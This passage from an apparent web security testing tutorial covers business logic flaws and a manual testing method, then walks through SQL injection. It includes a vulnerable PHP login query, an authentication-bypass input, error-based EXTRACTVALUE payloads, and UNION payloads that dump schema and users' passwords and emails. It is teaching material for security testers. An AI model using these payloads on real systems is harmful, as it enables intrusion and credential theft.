&lt;/h3&gt;

&lt;p&gt;Applications sometimes allow operations on objects based on a user-supplied identifier without verifying that the authenticated user is the owner of that object. This overlaps with IDOR (covered in OWASP A01) but specifically in business workflow contexts.&lt;/p&gt;

&lt;p&gt;Example: A multi-step order modification flow. In step 1, the user selects their order number. In step 2, they make modifications. In step 3, they confirm. The application tracks the selected order in the session. But what if in step 2, the attacker changes the order number in the request to another user's order number? Does the server verify ownership at each step?&lt;/p&gt;
&lt;h3&gt;
  
  
  Category 5 — Account and Resource Limit Bypasses
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Trial period abuse:&lt;/strong&gt;&lt;br&gt;
Applications offering free trials that create new accounts can be abused if the only enforcement is at the account level and creating new accounts (with different emails) is unrestricted. The fix requires binding trials to payment methods, device fingerprints, or IP ranges with proper rate limiting.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Quantity limit bypass:&lt;/strong&gt;&lt;br&gt;
"Limit 3 per customer" promotions enforced by checking the existing order count before placing a new order. Race condition allows bypassing the check by sending multiple simultaneous order requests. Each request checks the count (still 0, 1, 2) before any updates. Multiple orders at the promotional price succeed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Password recovery abuse:&lt;/strong&gt;&lt;br&gt;
Weak recovery mechanisms (4-digit numeric SMS codes, security questions with predictable answers, recovery flows that do not rate-limit attempts) enable account takeover through brute force or prediction. OWASP specifically lists "Weak password recovery mechanism for forgotten password" under CWE-640 as a business logic flaw.&lt;/p&gt;
&lt;h3&gt;
  
  
  How to Test for Business Logic Flaws — The Professional Methodology
&lt;/h3&gt;

&lt;p&gt;Since automated tools cannot find business logic flaws, the methodology is entirely manual and requires deep application understanding.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Map the application thoroughly&lt;/strong&gt;&lt;br&gt;
Use Burp Suite's spider, browse every page, and understand what the application does from a business perspective. What can users buy, transfer, subscribe to, approve, reject, upload, share? What are the business rules?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Identify critical workflows&lt;/strong&gt;&lt;br&gt;
Focus on flows involving money, access control, authentication state changes, quota enforcement, or competitive advantage. These are where business logic errors have the highest impact.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3: For each workflow, attempt:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Step skipping:&lt;/strong&gt; Navigate directly to later steps without completing earlier ones&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step repetition:&lt;/strong&gt; Complete the same step multiple times and observe state&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step reversal:&lt;/strong&gt; Complete the flow, then go back and modify earlier steps&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Simultaneous requests:&lt;/strong&gt; Send critical steps simultaneously via Burp's parallel send feature&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Parameter manipulation:&lt;/strong&gt; Modify quantities to negative, zero, or extreme values; modify prices, IDs, status fields&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cross-user testing:&lt;/strong&gt; Complete step 1 as User A, step 2 as User B; observe whether User A's data is accessible to User B&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Step 4: Ask "what would a fraudster do?"&lt;/strong&gt;&lt;br&gt;
Approach with the mindset of someone trying to get something for free, circumvent authorization, or manipulate the system. This mindset is more productive for business logic testing than the technical exploitation mindset used for SQL injection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 5: Document everything&lt;/strong&gt;&lt;br&gt;
Business logic findings require more extensive documentation than technical vulnerabilities because you must explain the business impact, which is often complex. Show the exact sequence of steps, the request at each step, and the resulting anomalous outcome.&lt;/p&gt;


&lt;h2&gt;
  
  
  6.4 Understanding Injection-Based Vulnerabilities
&lt;/h2&gt;
&lt;h3&gt;
  
  
  6.4.1 Overview — What Injection Really Means
&lt;/h3&gt;

&lt;p&gt;Every injection vulnerability, regardless of what is being injected into, shares the same fundamental cause: &lt;strong&gt;the application fails to distinguish between the instructions (code) and the data being processed by those instructions&lt;/strong&gt;. User-supplied data enters a context where it is interpreted as code by some interpreter — a database engine, an operating system shell, an LDAP server, a template processor, an XML parser.&lt;/p&gt;

&lt;p&gt;Think about what "injection" means in the everyday physical world. A doctor injects medicine into a patient because intravenous injection gets material directly into the bloodstream — bypassing the normal barriers. SQL injection is the same principle: an attacker injects their commands directly into the database query, bypassing the application layer that was supposed to mediate all database interactions.&lt;/p&gt;

&lt;p&gt;The root cause is always the same: &lt;strong&gt;the application builds executable commands by concatenating strings that include user-controlled values&lt;/strong&gt;. The fix is always the same: &lt;strong&gt;separate the code from the data using parameterized queries, prepared statements, or context-appropriate encoding&lt;/strong&gt;. Never concatenate user input into executable commands.&lt;/p&gt;

&lt;p&gt;Different interpreters that can be injected into:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Interpreter&lt;/th&gt;
&lt;th&gt;Injection Type&lt;/th&gt;
&lt;th&gt;What Gets Executed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SQL database&lt;/td&gt;
&lt;td&gt;SQL Injection&lt;/td&gt;
&lt;td&gt;SQL queries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Operating system&lt;/td&gt;
&lt;td&gt;Command Injection&lt;/td&gt;
&lt;td&gt;Shell commands&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LDAP server&lt;/td&gt;
&lt;td&gt;LDAP Injection&lt;/td&gt;
&lt;td&gt;LDAP filter queries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;XML parser&lt;/td&gt;
&lt;td&gt;XXE Injection&lt;/td&gt;
&lt;td&gt;XML external entity declarations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Browser DOM&lt;/td&gt;
&lt;td&gt;XSS&lt;/td&gt;
&lt;td&gt;JavaScript&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Template engine&lt;/td&gt;
&lt;td&gt;SSTI&lt;/td&gt;
&lt;td&gt;Template expressions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;XPath&lt;/td&gt;
&lt;td&gt;XPath Injection&lt;/td&gt;
&lt;td&gt;XPath queries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NoSQL database&lt;/td&gt;
&lt;td&gt;NoSQL Injection&lt;/td&gt;
&lt;td&gt;MongoDB/Cassandra operators&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Email headers&lt;/td&gt;
&lt;td&gt;Header Injection&lt;/td&gt;
&lt;td&gt;Email routing instructions&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Each injection type differs in syntax, context, and exploitation technique, but the underlying logic is identical. Learn the pattern, not just the specific payloads.&lt;/p&gt;


&lt;h3&gt;
  
  
  6.4.2 SQL Injection Vulnerabilities — The Complete Deep Dive
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Understanding SQL First — The Language of the Target
&lt;/h4&gt;

&lt;p&gt;To exploit SQL injection you must understand the SQL that is being manipulated. SQL (Structured Query Language) is the language used to interact with relational databases — MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite. Every web application that stores data in a relational database uses SQL to read and write that data.&lt;/p&gt;

&lt;p&gt;The four fundamental SQL operations:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- SELECT: Read data from a table&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;-- INSERT: Add new rows to a table&lt;/span&gt;
&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;orders&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'pending'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;-- UPDATE: Modify existing rows&lt;/span&gt;
&lt;span class="k"&gt;UPDATE&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'newHash'&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;-- DELETE: Remove rows&lt;/span&gt;
&lt;span class="k"&gt;DELETE&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;sessions&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;expires_at&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When a web application needs to look up a user after login, the code might build a query like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// PHP example (vulnerable code)&lt;/span&gt;
&lt;span class="nv"&gt;$username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'username'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"SELECT * FROM users WHERE username = '&lt;/span&gt;&lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="s2"&gt;' AND password = '&lt;/span&gt;&lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="s2"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;mysqli_query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$connection&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If legitimate values are submitted — username: &lt;code&gt;alice&lt;/code&gt;, password: &lt;code&gt;MyPassword123&lt;/code&gt; — the resulting query is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'alice'&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'MyPassword123'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This works as intended. But what does SQL do with special characters? What happens when the input is not a simple string?&lt;/p&gt;

&lt;h4&gt;
  
  
  Why the Single Quote Is the Most Important Character in SQL Injection
&lt;/h4&gt;

&lt;p&gt;In SQL, single quotes (&lt;code&gt;'&lt;/code&gt;) delimit string values. When the database parser encounters a single quote inside a query, it interprets the quote as the end of the string value. Everything after that point is interpreted as SQL syntax, not as a string.&lt;/p&gt;

&lt;p&gt;If the attacker enters &lt;code&gt;admin'--&lt;/code&gt; as the username:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt;&lt;span class="c1"&gt;--' AND password = 'anything'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;'&lt;/code&gt; after &lt;code&gt;admin&lt;/code&gt; closes the string. The &lt;code&gt;--&lt;/code&gt; is SQL's comment syntax — everything after it is a comment, effectively deleting the rest of the query. The query that actually executes is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No password check. If a user named &lt;code&gt;admin&lt;/code&gt; exists, the query returns their record and the application logs in the attacker as admin. This is authentication bypass through SQL injection, and it requires no knowledge of the password.&lt;/p&gt;

&lt;h4&gt;
  
  
  The SQL Injection Classification System
&lt;/h4&gt;

&lt;p&gt;SQL injection is categorized by two dimensions: what happens to the data extracted, and whether the results are visible in the response.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;In-Band SQL Injection:&lt;/strong&gt;&lt;br&gt;
The attack and data extraction happen through the same channel (the HTTP request/response). Results are visible directly in the response body.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Inferential (Blind) SQL Injection:&lt;/strong&gt;&lt;br&gt;
The results are not visible in the response, but the attacker infers information by observing how the application behaves differently for true versus false conditions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Out-of-Band SQL Injection:&lt;/strong&gt;&lt;br&gt;
Data is extracted through a completely different channel — typically DNS queries or HTTP requests made by the database server to an attacker-controlled endpoint.&lt;/p&gt;
&lt;h4&gt;
  
  
  Error-Based SQL Injection — Reading Data from Error Messages
&lt;/h4&gt;

&lt;p&gt;Error-based injection extracts database information directly from error messages. When the database encounters a malformed query, it often reports what went wrong in an error message — and these error messages frequently contain database version information, table names, or even query results.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Payload causing a MySQL error that reveals database version:&lt;/span&gt;
&lt;span class="s1"&gt;' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))--

-- Error message returned:
-- XPATH syntax error: '&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;ubuntu0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;'
--                      ^^^ Database version revealed in the error
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Payload revealing current database name:&lt;/span&gt;
&lt;span class="s1"&gt;' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database())))--

-- Error: XPATH syntax error: '&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="n"&gt;webshop_prod&lt;/span&gt;&lt;span class="s1"&gt;'
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Error-based injection is the fastest way to extract data when error messages are visible, because each payload returns data directly in the error string. The limitation: modern production applications suppress error messages, making error-based injection impossible against well-configured servers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Database-specific error-based payloads:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;MySQL uses &lt;code&gt;EXTRACTVALUE()&lt;/code&gt; or &lt;code&gt;UPDATEXML()&lt;/code&gt;. Microsoft SQL Server uses &lt;code&gt;CONVERT()&lt;/code&gt; with incompatible type conversions. Oracle uses column type mismatch in &lt;code&gt;UNION&lt;/code&gt; operations. PostgreSQL uses &lt;code&gt;CAST()&lt;/code&gt; with invalid conversions. Each database engine exposes data differently through its error messages.&lt;/p&gt;

&lt;h4&gt;
  
  
  UNION-Based SQL Injection — The Data Extraction Workhorse
&lt;/h4&gt;

&lt;p&gt;UNION-based injection is the most powerful form of in-band SQL injection when results are visible in the response. It works by appending an additional &lt;code&gt;SELECT&lt;/code&gt; statement to the original query using the SQL &lt;code&gt;UNION&lt;/code&gt; operator, merging attacker-controlled query results with the application's legitimate results.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The requirement:&lt;/strong&gt; A UNION query only works when the injected SELECT has the same number of columns as the original SELECT, and compatible data types. Your first task is always to determine the column count of the original query.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Determine the column count using ORDER BY&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- The original (vulnerable) query:&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;product_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;price&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;description&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;products&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;category&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'phones'&lt;/span&gt;

&lt;span class="c1"&gt;-- Your injected value in the category parameter:&lt;/span&gt;
&lt;span class="n"&gt;phones&lt;/span&gt;&lt;span class="s1"&gt;' ORDER BY 1--     -- succeeds: at least 1 column
phones'&lt;/span&gt; &lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="c1"&gt;--     -- succeeds: at least 2 columns&lt;/span&gt;
&lt;span class="n"&gt;phones&lt;/span&gt;&lt;span class="s1"&gt;' ORDER BY 3--     -- succeeds: at least 3 columns
phones'&lt;/span&gt; &lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="c1"&gt;--     -- ERROR: "Unknown column '4' in order clause"&lt;/span&gt;
&lt;span class="c1"&gt;-- Conclusion: the query has exactly 3 columns&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2: Find which columns are displayed in the response&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not every column in a SELECT is necessarily displayed on the page. Your injected data must go into a column that is rendered in the response.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Test which columns display string data (use NULL for compatible typing):&lt;/span&gt;
&lt;span class="n"&gt;phones&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT '&lt;/span&gt;&lt;span class="n"&gt;test1&lt;/span&gt;&lt;span class="s1"&gt;', NULL, NULL--
phones'&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'test2'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="c1"&gt;--&lt;/span&gt;
&lt;span class="n"&gt;phones&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT NULL, NULL, '&lt;/span&gt;&lt;span class="n"&gt;test3&lt;/span&gt;&lt;span class="s1"&gt;'--

-- When '&lt;/span&gt;&lt;span class="n"&gt;test2&lt;/span&gt;&lt;span class="s1"&gt;' appears on the page, you know column 2 is displayed
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3: Extract data&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;With column count known and a display column identified, extract any data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Extract database version:&lt;/span&gt;
&lt;span class="n"&gt;phones&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT NULL, version(), NULL--

-- Extract all tables in the current database:
phones'&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;table_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;information_schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tables&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;table_schema&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;database&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="c1"&gt;--&lt;/span&gt;

&lt;span class="c1"&gt;-- Extract column names from the users table:&lt;/span&gt;
&lt;span class="n"&gt;phones&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="s1"&gt;'--

-- Extract usernames and passwords:
phones'&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CONCAT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;':'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="c1"&gt;--&lt;/span&gt;

&lt;span class="c1"&gt;-- If only one column is visible, concatenate multiple values:&lt;/span&gt;
&lt;span class="n"&gt;phones&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT NULL, CONCAT(username, 0x7c, password, 0x7c, email), NULL FROM users--
-- 0x7c is hex for | — used as separator
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;information_schema&lt;/code&gt; is a meta-database that every MySQL/MariaDB installation contains. It stores information about all other databases, tables, and columns. Querying &lt;code&gt;information_schema&lt;/code&gt; is how attackers map the entire database structure without knowing anything about it in advance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Complete data extraction sequence:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- 1. Find all databases:&lt;/span&gt;
&lt;span class="s1"&gt;' UNION SELECT NULL, schema_name, NULL FROM information_schema.schemata--

-- 2. Find all tables in target database '&lt;/span&gt;&lt;span class="n"&gt;webshop&lt;/span&gt;&lt;span class="s1"&gt;':
'&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;table_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;information_schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tables&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;table_schema&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'webshop'&lt;/span&gt;&lt;span class="c1"&gt;--&lt;/span&gt;

&lt;span class="c1"&gt;-- 3. Find all columns in 'users' table:&lt;/span&gt;
&lt;span class="s1"&gt;' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="s1"&gt;' AND table_schema='&lt;/span&gt;&lt;span class="n"&gt;webshop&lt;/span&gt;&lt;span class="s1"&gt;'--

-- 4. Extract the data:
'&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CONCAT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'|'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'|'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'|'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span 